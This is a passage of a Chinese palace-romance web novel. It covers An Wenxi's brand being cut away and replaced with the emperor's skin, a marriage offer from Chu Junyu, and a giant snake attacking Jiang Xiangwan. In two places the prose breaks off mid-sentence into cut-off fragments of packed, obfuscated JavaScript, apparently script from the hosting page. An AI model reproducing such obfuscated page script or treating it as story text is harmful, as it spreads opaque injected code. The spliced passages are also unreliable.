“我等着你的答案。”安文夕眸光深深,后背冒出了阵阵冷汗,手上渐渐使不出力气。 北宫喆眸光一垂,如闪电一般掠至安文夕身侧,大手霸道的将安文夕的双手禁锢起来,安文夕浑身使不上力气来,头也晕的厉害,她根本无法摆脱北宫喆的大手,猛地踉跄两步,后背的抓痕被撕扯的痛楚不堪,倒是生生出了一身冷汗。 “都站不稳了,还逞什么能?”北宫喆手上的动作一紧,立即将她打横抱在怀中。 “啊,放开!”安文夕此时的挣扎显得有些苍白无力。 看了月无痕一眼,半晌憋出一句话来,“月老头,接下来的事情都交给你了。” 听到那句月老头,月无痕气的直吹胡子。 月无双对安文夕使了个眼色,有她在,怎么可能会眼睁睁的看着千年龙魄植入江向晚的体中。 北宫喆一走,月无痕看也未看江向晚一眼,一拂袖子走人,等那个臭小子什么时候知道了“求”字怎么写,他什么时候再来管他这破事! 月无双看了眼脸色有些苍白的江向晚,撇了撇嘴,转身欲走,月清绝兑了兑她道:“这次那小夕儿来咱枫月谷,我咋没看到那个叫欢凉的丫头?” “小夕儿?”月无双坏笑道,“你叫的这么亲热,不怕喆哥哥揍你啊!” “切,你哥我会怕他,我叫小夕儿怎么了,他已经将人家姑娘的心伤的碎成渣渣了,估计他俩也没啥可能了。” 月清绝说着有意犹未尽道:“北宫喆那个性子太不招女人喜了,你不觉得换了任何一个男人,别说是个男的,只要是个公的,做的都比他好!” 他说着瞥了眼江向晚,该断不断,必受其乱! 隐在暗处的左言嘴角抽了抽,月公子,你难道不知道我一直都在你身边么,还敢说这话,就不怕我向皇上打报告? 月无双不高的瞪了眼他,“喆哥哥怎么不好了,喆哥哥欠了江向晚一命,这是责任,而且你没有见过喆哥哥看夕姐姐的眼神,那温柔的能掐出水来,还有啊,他明明知道夕姐姐要杀他,他还对她十分放纵。怪只怪他和夕姐姐……唉……”月无双说到这里无奈的叹了口气。 夕姐姐什么时候可以放下心里的仇恨呢!还有喆哥哥,明明喜欢夕姐姐,当初为嘛把自己的老丈人给干掉呢! 月清绝拂了拂手道:“罢了罢了,咱不说他们俩这破事,我问你,欢凉那丫头呢,总不能是安文夕自己来的枫月谷吧?” 月无双在心里干笑两声,她都已经将话题绕开了,怎么她哥还惦记着这事? “哥,你老想着欢凉做什么,难不成你看上人家小姑娘了?” 月清绝呵呵一声,“你哥我是什么人,英气逼人,风流潇洒,玉树临风,一表人才,向来是万花丛中过,片叶不沾身。” 嗯,你沾的都不是叶,是花! “咱下次说话的时候能不能把前面多余的修饰语去掉?”月无双边走边摆手,不动声色的逃离了月清绝的视线。 “哎,丫头,别走哇,你还没告诉哥呢!”月清绝不耐的跺了跺脚,“你不告诉我,我也能问出来!” 月无双勾了勾唇,那你就去问吧,看看谷里的小僮是听你的,还是听我的。 夕姐姐说不想让喆哥哥知道她是凤公子的身份,她早就吩咐下人不要乱说,她的命令谁敢不听? 北宫喆抱着安文夕来到她的厢房,重重的将她扔到床上,不由分说撕开她的衣服,扬起片片残衣。 “你干什么?”安文夕紧紧的抓紧了胸前的衣服,一点点后退,后背抵到墙上,蹭到了伤口,痛得她拧了眉。 呵……抵触他! 北宫喆紧紧锁着她眼底的憎恨与厌恶,挑起她的下巴。 “你来枫月谷不就是想解了这相思蛊,难道你不知道如何解蛊么?” 安文夕蓦地一滞,抬头发现那人眼底仿佛划过一抹黯光来,心突然一阵酸涩。 趁着她垂眸之际,北宫喆一把扯下她身上的中衣,看着上面沁着的点点殷红,眸光一黯。 “啊!” “不想让朕点穴就乖乖别动!”北宫喆将她圈在怀中,拿过伤药来,轻轻的将粘在她后背的衣服一点点脱下来,原本已经处理过的伤口再次被扯开,五道抓痕,每一道都深可见骨。那一幕再次出现在他的眼前,当时她的眼神坚定而决绝,为了楚君昱,她竟连命也不要了么,他的指尖一颤。 安文夕明白了他的意图,冷冷勾唇,“不劳皇上费心。”说着往上拢了拢衣服。 北宫喆再次捉住她的手,另一只手有条不紊的取出药膏来,指尖蘸了一点轻柔的涂到她的伤口上。 指尖的轻触一点点砸进安文夕的心中,原来,她一直都在贪恋着这一抹温柔。 安文夕睫毛轻颤,咬了咬唇道:“差不多了。”然后立即穿好了衣服,看着杵在一旁丝毫没有走的意思的北宫喆,她抿了抿唇,径直走了出去。 好,既然他不走,那她走便是! 北宫喆看着她走向药房的方向,紧紧蹙了眉,身子差的要命,就急不可待的去找楚君昱? 楚君昱救了她,她就心心念念,那他对她的好,她就一点也看不到么。 北宫喆急走两步,长臂一伸,将她整个儿揽回怀中,粗鲁带回房中,掀开被子,将她塞了进去,自己坐在床榻上,铁青着脸看着她,一言不发。 安文夕索性闭了眼,扭了头不去看他。 她一躺下,头越发的沉了起来,不多一会便沉沉睡去,不曾想她这一睡便睡了整整一天一夜,北宫喆亦在她的床榻前衣不解带的照顾了她一天一夜。 “青玄,你叫无双来,她就快醒了。” “皇上……”既然瑾淑妃就要醒了,为何皇上要走了呢,他暗暗打量了眼双眸布满淡淡血丝的北宫喆,他守了一天一夜不就是想让她醒来么? 北宫喆苦涩道:“朕猜她不愿意看到朕,你去叫无双吧。” 北宫喆看了安文夕一眼,垂下了眼睑,转身离开。 “皇上,惊魂来信说,京城有异动,问您何时回宫?” 北宫喆脚步一滞,眸光深远,“朕就怕他们不动,朕这就回宫,你退下吧。” 左言身形一闪,立即消失不见。 北宫喆踱步去了江向晚处,雪嫣看到他走来,脸上浮现喜色,北宫喆脚步一顿,转身去了月清绝处。 雪嫣脸色顿时一僵,她家小姐也同样卧床不醒,皇上守着那瑾淑妃也就罢了,为何来了又走了?她担忧的走向内室,看着沉睡的江向晚蹙了眉,小姐你要是再不醒来,皇上就被人抢走了! 北宫喆转身来到了月清绝处,开口问道:“老爷子想好怎样将千年龙魄植入晚儿体内了么?” “你没看出来老爷子想让你去求他?” “朕那日不是已经求了么?” 月清绝斜他一眼,意思很明显,本公子睁着两只眼睛都没有看出来你哪里有求。 “由于你逆天而行,强行复活了江向晚,她体内的器官消耗过度,老爷子的意思是先调养一段时间,否则即便是用了千年龙魄,也达不到理想的效果。” “那就先让她待在枫月谷吧。” “你打算什么时候回宫?” “明天。”他这次本就是秘密出宫,离宫不足半月,就已经有人坐不住了! “那小夕儿……”接到北宫喆冷冽的眸光,月清绝立即改口道,“安文夕,不……瑾淑妃呢?你要带她回去么?” 北宫喆垂眸,“不了,让她留在枫月谷吧。” 相对于夏宫,这里更加安全一些。 “若是我没记错的话,楚君昱也在这里呢,你不怕……” “不是还有你么?”北宫喆鹰眸看向月清绝,暗含警告。 “呵……”月清绝拍了拍北宫喆的肩膀道,“有我在,你放心,放心。” 北宫喆转身欲走,被月清绝叫住道:“对了,那个相思蛊,你真不打算解了?” 北宫喆抿了抿唇,没有说话。 “那个东西长期留在体内可没有什么好处,再说了你想挽回人家姑娘的心,让人家姑娘重新爱上你,单靠这相思蛊可……” 北宫喆眸光一敛,月清绝立即摆手道,“我什么都没说,你要是哪天想解了这相思蛊就从我这里拿药,呵呵……” …… 安文夕眉头微拧,睁开眼睛,看着对面一脸喜色的月无双道:“我睡了多久了?” “一天一夜了,夕姐姐,你饿不饿,无双已经给你准备好了吃的,你要不要先吃点。” 安文夕还没有说话,肚子却咕咕的响了起来,她有些不好意思的笑了笑,这么算起来,她已经将近两天没有进食了,不饿才怪。 “夕姐姐,你等我一会,我这就给你拿吃的。”月无双说着一溜烟跑出了房间。 安文夕吃过饭后,得知楚君昱已经醒来,便和月无双一起去看望他。 楚君昱靠在床榻上看书,样子分外静谧,看到安文夕进来,将手中的书放下,苍白的唇角勾起了一抹笑,“你来了?” 月无双看到楚君昱的眼里从头到尾只有安文夕一人,知道他们有话要说,自己在这里也是多余,对安文夕笑了笑,“夕姐姐,你们先聊着,我去给你们沏壶茶来,还是上次的梅花茶如何?” 安文夕淡淡的点了点头,坐到楚君昱的榻前。 第99章 你不要命了 第九十九章 你不要命了 “你,现在感觉怎么样?”安文夕顿了顿,那日他伤得那么重,又足足昏迷了两日,情况应该比较糟糕。 “没事,左右死不了。”楚君昱淡笑。 “倒是你,我听夜影说你染了风寒,现在怎样了?” “不过是风寒罢了。” “那恶龙潭的湖水寒气太重,不可大意。”楚君昱凝色道。 提到恶龙潭,安文夕眸光一黯,抿了抿唇道:“对不起,那千年龙魄被北宫喆夺去了。” “这不怪你。” “胭脂。” “嗯?”安文夕蓦然抬头看向楚君昱,捕捉到了他眼底一闪而过的狡黠. “胭脂还记得那日答应我的话么?” “胭脂……若是我们能出谷,你能不能……能不能嫁给我?” 那日,他断断续续的话再次闪进她的脑海,灼的安文夕的双颊微微有些发烫。 “我……” “我相信胭脂定然不会骗我的。” “公子,药好了。”夜影端来一碗药汤放在雕花小几上,夜影看了眼楚君昱,心中一惊,殿下在他心中一向是胸襟坦白,何时这么……无耻。 楚君昱漫不经心的打量了眼药碗,又看了眼安文夕,浅浅的勾起唇来。 安文夕心中一滞,难不成他想让她喂他? 她不动声色的打量了眼他的手,并没有什么不妥,刚才她还见他用手翻书,怎么现在就端不起药碗了? 罢,毕竟是为救她而受的伤,安文夕微叹了口气,端起了药碗,搅动汤匙,舀了勺药汁,吹了吹送到他的唇边。 “烫么?”安文夕小心翼翼问道。 楚君昱微微摇了摇头,嘴角噙着淡笑,慢慢将勺中的药卷入嘴中,仿佛是在品尝美食一般,从没有想过喝药也是一种享受,他看向她的眼神也逐渐灼热起来。 安文夕蓦地垂眸,低头去搅拌碗里的药汁,过了半晌,才再次舀了一勺,送到他的唇边。 楚君昱默声喝着药,安文夕亦一勺一勺喂着。 隐在暗处的夜影忍不住凝眉,殿下不禁无耻,还十分……腹黑,可是他明明受了这么重的伤,才刚刚醒来,怎么就去…… 北宫喆怔怔的立在外面,身上的玄衣随风而摆,脸上的线条越发的冰凉起来,眼底划过痛意,冷冷瞧着室内的那一幕,和谐的刺目,她的细腻温柔深深地刻在了他的心里。 “走吧。” 月清绝看了眼内室,又将视线放在北宫喆身上,现在他终于明白世上最痛苦的事情莫过于你的媳妇就在你的面前给你戴绿帽子,而你却无力阻止。 “喂,你别多想,只是喂个药而已,又不会少一块肉。”月清绝立即追上道。 呵……只是喂药而已,可是他却从来没有享受过这种待遇,他无力的勾了勾唇。 “要不我进去,我给他喂药?” “或者,你将安文夕带走?” 月清绝渐渐有些跟不上北宫喆,心里暗唾一声,这楚君昱也真是,又没少胳膊少腿,干嘛让人家姑娘喂药,趁机占便宜也不带这么占的。 北宫喆没有回头,微微阖上了眼睛。 干冷的风吹到脸上,令他清醒不少,缓缓走出了药房,背影高大却萧寂无比。 安文夕的心口蓦地一痛,端着的药碗差点打翻,她猛地回头看向室外,那个人并没有来,为何她会心口痛? “怎么了,你没事吧?” “没有。”安文夕淡淡攒出了一抹笑。 “胭脂,既然你已经答应了我,这次和我一起回西楚吧。” 安文夕闻言,手中的动作蓦地一顿,抬眸看向他。 “胭脂,我会是你最好的盟友,我以前就说过,我来帮你复国。” 既然他想一统九州天下,为何会选择为了她舍弃一直以来的梦想? “公子……”夜影忍不住出声道。 殿下,过了年您就要大婚了,怎么能将她带回去呢? 楚君昱面上一冷,对夜影道:“你先下去。” “公子,我……” 楚君昱双眸一凛,再次看向他的目光多了丝警告。 这碗药喂了许久,终于喂完时,安文夕的手腕有些微酸,她放下药碗道:“你好好休息,我明日再来看你。” 楚君昱勾唇浅笑,“胭脂,我说的话,你先考虑考虑。” 安文夕看着他润泽的眉眼,扬起嘴角,“好,我明日给你答复。” 安文夕一走,楚君昱的脸立即冷了下来,斜了眼夜影,然后又拿起了刚才的书翻看了起来。 “殿下,属下虽然莽撞了些,但是属下都是为了殿下好啊,难道殿下忘了,过了年,您就要和月小姐大婚了,您怎么还能将安文夕带回西楚呢?” 楚君昱翻书的手一顿,看向他道:“既然本宫将她带回去,自然有办法解决这件事。” “可是……”可是殿下您没有看到么,她的眼里只有夏皇,没有您啊。 “谁说她的眼里没有本宫?”那日她拼死为他挡下巨兽的攻击,她的神色她看的分明。 楚君昱合上书看向窗外,决然道:“本宫要一点点走进她的心里。” 即便她现在心里还有北宫喆,那又怎样?他和她会成为同盟,而北宫喆和她只能是敌人。 月无双看见安文夕出来,迎上去道:“夕姐姐你终于出来了,玉公子伤势如何?” “现在已无大碍。”安文夕突然停下脚步,撩开额头上的刘海,露出那块丑陋的烙印对月无双道:“你能去掉它么?” 既然已经不想再和北宫喆有所瓜葛,那么他留给她的痕迹,不论是心里的,还是身体上的,都应该全部拔除。 “嗬——”月无双看到那印有奴字的疤痕,冷吸了一口气,那得有多疼? 因为她长期用刘海和花钿遮掩,所以无双并不知道。 “这……这是喆哥哥做的?” 安文夕垂下眼睑,没有说话,算是默认。 月无双睫毛轻颤,她记得她也是一国公主,也是被人宠在了心尖上,一夕之间,她由尊贵的公主沦为奴隶,心中的凄苦可想而知。而终结这一切的人竟然是她一直喜欢的人,怪不得她这么恨喆哥哥。 “夕姐姐……”月无双没由来的心疼起来眼前的这个女子。 “早就过去了,现在可以除掉它么?” “可以是可以,只是无双做不到,爹爹和哥哥都可以,要不我带你去找爹爹吧。” 安文夕点点头,如今月谷主应该为她配好了相思蛊的解药了吧。 安文夕和月无双来到主院时,月无痕和风飘雪正在为今天谁刷碗一事而争执的不可开交。 风飘雪见到无双过来,眼睛一亮,对她道:“双儿,你爹就知道欺负娘。” “爹爹、娘亲,谷里不是有下人么,还用你们刷碗?”她爹娘什么变得这么勤快了? 风飘雪吃吃一笑,“我和你爹下棋,谁输了谁刷碗。” 有这样一对活宝爹娘,怪不得月清绝和月无双的性格那么开朗活泼,曾几何时,她也是这样的吧,会跟父皇撒娇、耍小脾气。 安文夕苦涩的笑了笑,这些已经离她很久远了。 月无痕看到安文夕,脸上瞬间又恢复了严肃的表情,对她道:“相思蛊的解药老夫已经配好了。” “月谷主,今日我来另有事相求。” “哦,什么事?”月无痕已经接过风飘雪递过来的帕子擦了手。 安文夕再次撩开刘海,露出烙印,这次月无痕和风飘雪眼中齐齐闪过惊色。 “月谷主,您能不能帮我去掉这块疤痕?” “自然可以,不过得需要将这一块剜掉换皮,你是否能忍受的了?” “月谷主自不必担心,我可以的。” 月无痕看着她眼底的坚韧,一瞬间仿佛看到了当年那个被打的皮开肉绽也咬牙不吭一声的女子。 “好,既然如此,你随老夫来药房。” 月无痕带着她绕过了楚君昱所在的房间,径直来到了后面的偏房。 “先躺下吧。”月无痕吩咐着便开始取出刀片、纱布等物。 暗处的左言瞥了眼已经躺好的安文夕,匆匆离去。 北宫喆将千年龙魄交给了月清绝,正准备着回宫事宜,看到左言突然现身,抬眉道:“出了何事?” “瑾淑妃她要剜去额头上的烙印,换皮。” 什么?北宫喆端着茶盏的手蓦地一松,一把将滑落的茶盏捞回手中,稳稳地放在小几上,衣袂一摆,整个人立即掠至屋外。 “吱呀——”北宫喆夹带着怒气,满面寒霜的开了门,正看到安文夕闭着眼睛咬着唇,一旁的月无痕正准备下刀,月无双不敢看着一幕,背过了身去。 他的到来,成功的吸引了众人的注意力。 安文夕看着门口高大的身影,面上一滞,还没有反应过来,北宫喆整个人已经掠至她的面前,右手狠狠地扣住了她的脖子。 “你就这么讨厌朕?” 安文夕看着北宫喆如一头发怒的狮子一般诘问着她,她眼角的余光瞥到了正举着刀片的月无痕,猛地一把抓住月无痕的手往自己额头上按去。 这一瞬来的太突然,锋利的刀片瞬间就把安文夕的额头割破,殷红的鲜血顺着她的眼角流下。 安文夕松了口气,微微扬起了嘴角。 北宫喆双眸阴鸷,锁着她的双眸道:“你不要命了?” 他苦涩道:“既然如此,朕成全你。”说着从月无痕手中接过来刀片。 第100章 再无纠葛 第一百章再无纠葛 “嘶——”额头蓦地一疼,安文夕蓦地咬紧了下唇。 “喆哥哥……”月无双吓得捂住了嘴巴。 月无痕冷眼瞧着,最后一拂袖子,去准备纱布,药酒。 北宫喆脸上的线条格外冷冽,嘴角紧抿,细长的睫毛垂下一排剪影,掩去眼底的愤怒,然而手上的动作却分外温柔。 北宫喆利索的剜去安文夕额头上的烙印,然后一把扯开自己胸前的衣服,在心口处剖下一小块皮肉,敷到安文夕血红一片的额头上。 接过月无痕递来的药酒,将额头上的伤口清理干净,敷上药,然后小心翼翼的包扎起来。 这一切,轻柔至极,生怕不小心弄疼了她。 包扎完毕,鹰眸锁着安文夕道:“你不是想跟朕再无纠葛么,告诉你这不可能,这辈子你也别想摆脱朕!” 安文夕赫然睁开眼睛,看着北宫喆胸前被染得血红,瞬间明白了什么,伸手想把额头上的纱布扯下来,不料一把被北宫喆捉住双手,狠狠的扯进怀里。 “看到了么,只要朕一日不放开你,你永远别想逃开!” 浓郁的血腥味一股脑的灌入安文夕的鼻息,她略略皱眉,刚想挣扎,突然发现,北宫喆再次不动声色的点了她的穴道。 她暗自咬了牙,北宫喆松开了她,淡扫了眼自己胸前的伤口,邪邪一笑,将衣服随手一收,转身离去,若是有人观察的话,今天他的背影竟有些踉跄。 月无双根本拿捏不准北宫喆点穴的力道,只能眼睁睁的看着安文夕定在她的面前,她微微瞥了眼一旁收拾东西的月无痕,谁知月无痕一挥衣袖,凉凉道:“老夫可没有空陪你们小孩子瞎折腾。”随即径直出了房门,北宫喆那个臭小子点穴的手法极其古怪,他也解不开。不过,他也没有必要解释这些。 刚走了两步,回头看了眼安文夕的额头道:“既然已经换过皮了,你就别想着撕了它重换,老夫可不会给你换第二次,况且,也只有一次换皮的机会。” 安文夕一直咬着唇,没有说话。 “相思蛊的解药放在了架子上第二阁的青玉瓶内。” “多谢月谷主了。” “夕姐姐……”月无双张了张口,她第一次发现喆哥哥竟然这么残暴粗鲁,简直就是一个混蛋。 安文夕一直保持着伸手的姿势,两个时辰后,穴道解开,整个人都麻木了,胳膊更是酸的抬不起来,外面天色渐暗,此时已迫近日暮。 凌冽的寒风袭面而来,安文夕感觉不到一丝冷意,只觉手脚酸麻不堪。 “夕姐姐,我陪你回去吧。”月无双赶紧跟了出来,伸手扶住了她。 安文夕扯了扯嘴角,“无双,我还没有那么娇弱,我自己可以的。” “夕姐姐,你赶紧好起来,我们枫月谷有几处好玩的地方,我还没有来得及带你去呢?”月无双看了眼她苍白的脸色道。 “好,过几日我们就去。”安文夕拥紧了身上的披风。 第二日,熹微的阳光洒进窗棂,带来了丝暖意,在阴霾了十几日后,终于迎来了一个晴天,这满谷的梅花更加灼艳了起来。 北宫喆一袭墨衣,跨坐在蹄血玉狮子上,手中握着缰绳。玄衣披风猎猎,衬得他白若冠玉的脸庞更加的冷峻,眉头微锁,往昔那熠熠生辉的桃花眼此时也沁满了冰霜。 月清绝顺着他的视线望去,不禁撇了撇嘴道:“既然这么舍不得,为什么不去告个别。” 就算她知道了又如何,估计她就早就巴不得他走了。 北宫喆眸光一敛,双腿猛地一夹马腹,卷起一阵尘土,后面的青玄立即策马跟上。 “真是别扭。”月清绝咕哝一句,然后转身回了院子,想起还在昏迷的江向晚,然后配起了药,估计老爷子是不太乐意管那江向晚的死活。 今天一早,楚君昱就从药房搬回了他原本的厢房静养。 此时,安文夕正端着药汤敲开了楚君昱的房门。 楚君昱正摆弄着棋局,看到她来,落下一子,笑道:“胭脂怎么来了,你自己还病着呢,怎么不好好养着。” “我现在已经没什么大碍了,就来看看你。”说话间,安文夕已经将药碗递给了他,楚君昱淡扫了眼漆黑的药汁,一饮而尽。 抬头看着她额头上包扎的纱布,随口问道:“你的额头怎么了?” 安文夕扯了扯嘴角,“没什么事,不小心伤到了而已。” “我听说北宫喆在枫月谷,他没有为难你吧?” “没有,如今我已不再是瑾淑妃,和他再无瓜葛。”安文夕眼底浮现一片韧色。 她看了眼棋局道:“你在和自己下棋?” “不过是打发时间罢了,胭脂有没有兴趣来一盘?” “也好,好久没有碰了。”说着执了白子。 下棋时的安文夕分外娴静,用手抵着下巴思考的模样多了分娇憨,长长的睫毛在脸颊上垂下了一排暗影来,抬眸时,水灵灵的杏眸灵动且透着聪颖。 安文夕落子既快又狠,转眼间将楚君昱的黑子杀了一片。 本打算和她练练手的楚君昱顿时收了轻视之心,专心应付起来。 安文夕勾了勾唇道:“我可不会手软,你不许保留实力。” “胭脂棋艺如此精湛,我若是有意保留实力,岂不是要被你杀得片甲不留?” 安文夕下棋擅长布局,不动声色就已经埋下了几多陷阱,这一点当年就连安国君也自叹弗如。 楚君昱看着快要被困成死局的白子,眼角有抹狡黠的笑,“胭脂这局怕是要输了。” “哦,我怎么觉得未必呢。”安文夕轻轻落下了一子。 楚君昱一直挂着的浅淡的笑顿时凝了嘴角,这真是计中计、局中局,对面的女子竟然有这样婉转的心思。 “玉公子,你输了。” 楚君昱摆了摆手,“胭脂这般心思,我认输,心服口服。” “再来?” “好,这次换我用白子。” 接下来两局皆是平局,楚君昱一时起了兴趣来。 “公主!”欢凉突然推门而入,安文夕一惊,手中的黑子蓦地落在了桌上。 “小师妹。”袭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“安姑娘,本公子要进来了。”月清绝不经同意,直接推开了房门。 进了屋,月清绝径直将视线放在了欢凉身上,“小丫头,没想到你也在啊。”视线绕过欢凉,看向袭匀,挑了挑眉道:“他是谁?” 袭匀微微眯了眯眼睛,这位想必就是枫月谷的少主了吧。 “这是以前在宫里伺候公主的小太监。”欢凉随口道。 月清绝打量了眼袭匀,见他唇红齿白,眉目阴柔,便没有怀疑。 袭匀咬牙从背后掐了欢凉一把,幽怨的看了她一眼,说什么不好,非得说是太监,他可是纯爷们! “为什么不说是侍卫,非说是太监!”袭匀对欢凉传音入密道。 欢凉白他一眼,“侍卫都是皮糙肉厚的,像你这样的只能是个小太监。” “那你就是承认本公子英俊潇洒了?” 安文夕不去理会他们眉来眼去,对月清绝道:“月公子所来何事?” “难道本公子没事就不能来了么?”这枫月谷可是他家,他乐意去哪就去哪,他不爽的隔断了欢凉和袭匀的视线交流。 “我来给你把把脉。”月清绝说着落了坐。 第101章 立她为后 第一百零一章立她为后 “我的风寒已经好的差不多了,不必再把脉了吧。”安文夕若有所思的看了月清绝一眼,明明是想来看看欢凉的吧。 月清绝已经不由分说拉过安文夕的手为她把了脉,“风寒的确已经好了差不多了,不过气血不足,我再给你开两服药调理调理。” “不用了吧。” “公主,这半年来你的身子骨一直不太好,月公子说得对,你得好好养养身子。”欢凉看着安文夕漫不经心的样子愤愤道,公主何时能对自己上点心啊。 “你看,这小丫头也这么说。”月清绝颇为赞赏的看了欢凉一眼,“你随我来,我配好了药你拿回来。” “好。”欢凉不疑有他,立马答应下来。 “等等。” 月清绝刚刚迈出了一只脚,听到安文夕的话,立即停住了脚步,回头道:“何事?” 安文夕对欢凉递了个眼神,欢凉立即和袭匀一左一右的挡在了门前。 月清绝嘴角的笑意一滞,用眼尾扫了眼欢凉和袭匀,在心里干笑一声,这是什么意思?难不成在他枫月谷他们还想绑了他? “北宫喆是不是将千年龙魄交给你了?”安文夕慢慢走近他道。 月清绝凤眼微眯,刚想哈哈大笑两声给哄骗过去,只听安文夕浅浅道:“你不说,我也猜得出来。” 月清绝一屁股坐了下来,自己给自己倒了杯茶,慢悠悠品了起来,“没错,千年龙魄现在在我这里。不过,人家楚君昱还不着急,你操个什么心?” 安文夕眸光一敛,“那是我答应那送给楚君昱的,没想到被北宫喆坐享渔翁之利。” 月清绝略略点头,“他这么做,的确是有些不道德。不过,这不是你和他的交易么,他带你们出了恶龙潭,千年龙魄就归他。” 月清绝看了眼欲说话的安文夕道:“打开恶龙潭的空间需要帝王血引路,没有他,你们不可能出得来,这一来一回,只怕是消耗了不少鲜血。” 那赤红的一幕再次浮现在安文夕眼前,她抿了抿嘴角,没有说话。 月清绝叹道:“你不要被仇恨迷住了眼睛,反而看不到有些为你付出的人,若是没有什么事,本公子就去配药了。” “也罢,那千年龙魄到底是属于江向晚的。”安文夕垂眸。 “小丫头走了。”月清绝看了欢凉一眼。 袭匀看着抬脚要走的两人,立即追上去道:“等等我,我也去。” “你一个小太监去做什么,好好地伺候公主。”欢凉甩下这一句,径直出了门。 接下来的几日,安文夕天天去找楚君昱下下棋,偶尔陪他去散散步,晒晒太阳,她后背上的抓痕也已经结了痂。 一直昏迷不醒的江向晚蓦然睁开了眼睛,这数日来她虽然一直靠着名贵的药材吊着身体,但由于长期卧床的缘故,身体羸弱,脸色苍白的可怕。 雪嫣惊喜的搀着她的手,扶着她去屋外晒太阳。 江向晚许久不见阳光,一时竟有些刺眼,抬手遮着太阳,“皇上何时走的?” “皇上在小姐昏迷的第五日走的。” “那他走时可有交代什么?” 交代?雪嫣摇了摇头,皇上走时只是匆匆来看了小姐一眼,并嘱咐让她好生伺候,除此之外,再无其他。 “那她呢?”想起那日北宫喆将她紧紧抱在怀中,她的睫毛一颤。 她?难不成是指瑾淑妃? “皇上有没有将她带回宫?” “没有,她还在枫月谷,好像在照顾一位受了伤的公子。” 这位受了伤的公子想必就是众人口中的玉公子了吧,那日她依稀记得北宫喆从恶龙潭带出来一个浑身是血的人。 “小姐,雪嫣想回宫。”雪嫣有些委屈的看了眼江向晚。 在宫里因着她是江向晚的贴身侍婢,哪个宫里的娘娘不是敬她三分,更别说宫女太监了。谁知到了这里,所有的人都不把她放在眼里,饭菜差不说,还是到点供应,过了时辰,连剩饭都没有了。因为月无双不待见他们主仆,连带着谷主的下人也在她面前扬武扬威。 “皇上说何时来接我回宫了么?” 雪嫣摇了摇头,“月谷主说,小姐体内器官受损,得将小姐的心脉修补好了,才能将千年龙魄植入小姐体内,这段时间,让月公子好好照顾小姐。” “可是还有不到一月的时间就要过年了。”难不成他想让她在这里过年么?太后娘娘可是已经许诺了她,过年之时,要让他立她为后。 不行,她一定要回去! 月清绝离老远就看到了江向晚,撩了撩衣袍,来到了她跟前道:“你醒了?” 然后看了眼雪嫣道:“这里风这么大,你怎么带她出来了?”月清绝说着已经为江向晚把了脉,脉象丝毫没有什么变化。 照着她这个身体状况,估计撑不了多久,还不如直接取了她的引魂丹,让她就此沉睡,这样修复起来她受损的心脉反而更容易一些。 “月公子不必责怪雪嫣,好不容易醒来了,我想出来透透气,这满谷的红梅倒别有一番风味。”江向晚嘴角挂着一丝极淡的笑,看向远处开的正好的梅花。 “得了,等你身子骨好了再赏梅也不迟,赶紧回去吧。” 江向晚搭着雪嫣的手,缓缓转过身来,一抬头刚好看到一袭红衣的安文夕和一位紫衣翩翩的公子相伴而来,四目相接的刹那,她一时没有挪动脚步。 安文夕目光从江向晚脸上掠过,那惨白的脸色已经和已死之人没有什么两样了,没想到她竟已经虚弱成了这样。 “玉公子,不如我们去这边吧。”安文夕眸光一转,看向右手边的梅林,“我看那里的梅花开的鲜艳,用来酿梅花酒再好不过了。” “好,就听你的。”楚君昱眼底有着极浅的宠溺。 江向晚眼底闪过一抹惊讶,安文夕竟然和这个玉公子如此亲密,她没有看错,玉公子看向安文夕的眼神别样的温柔,那是看向喜欢之人的眼神。 安文夕正欲抬脚,只听得耳边传来江向晚的声音道:“你是瑾淑妃?” “不是,你认错人了。”安文夕不想和她纠缠。 “安文夕,你何必要说谎呢。”江向晚嘲弄道。 安文夕脚步一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江向晚一步步后退,警惕的盯着面前垂涎着口水的巨**。 月清绝从地上起来,整理了下衣袍,又把额前的发丝一丝不苟的拂到脑后,轻咳了两声道:“今天的小乖有些不正常,它怎么自己跑了出来?” “哥,我知道了原因了。”月无双看了眼江向晚,“你快去拿些人参来。” 平时这小乖被她养的十分贪嘴,尤其喜食名贵中药材,而江向晚由于长期服药,身上有一股淡淡的药草香,这才将一旁晒太阳的小乖引来。 月清绝经月无双提醒,顿时明了,当即折回了药房。 江向晚和雪嫣此时的注意力全在逐渐逼近的巨**上面,根本就没有注意到他们说了什么。看着蠢蠢欲动的小乖,她嚯的一下拔出了青霜剑。 “不要!”月无双立即惊道。 江向晚咬了咬牙,将身体中所有的力量全部凝聚在握剑的右手上。 只见银光一闪,月无双立即跃了出去,抽出腰带拦住了江向晚即将落下的剑。 第102章 欢凉受伤 第一百零二章欢凉受伤 “嘶——”耳边传来一阵裂帛的声音。 安文夕抬眸看去,江向晚手中的青霜剑毫不费力的斩断了月无双手中的腰带,冰冷的剑锋直冲月无双的面门而来。 她还没有来得及出手,离月无双一步之遥的欢凉一把将月无双推开,身形一闪,就着剑锋堪堪避过。 江向晚的这一行为惹怒了地上的小乖,它护主心切,长长的蛇尾瞬间将江向晚缠了起来,恨不得将它整个吞下。 “小姐!” “小乖!”月无双立即拖住了它的蛇尾,即便她再不喜欢江向晚,也不能让她在枫月谷出了事。 欢凉见状,跃身而上,攀到巨**腰身处,试图要救下被它越缠越紧的江向晚。 “欢凉——”袭匀暗唾一声,这条巨**力大无比,那天他就已经领教过了,她竟然还想从它的蛇尾下救出江向晚,真是蚍蜉撼树,不自量力! 安文夕微微蹙了眉,江向晚的死活,她自然不在乎,她只怕欢凉有什么意外。 江向晚被小乖缠得渐渐喘不过来气,几次堪堪避过它张开的大嘴,握紧手中的青霜剑胡乱的刺了起来。 小乖吃痛,缠得更加紧了,月无双抿了抿唇,足尖一点,掠至半空,双臂抱住小乖的脑袋。 缠着江向晚的蛇身一松,她立即从空隙之间爬了出来,即将脱离蛇身之时,小乖巨尾一摆,试图再次将她缠绕起来。 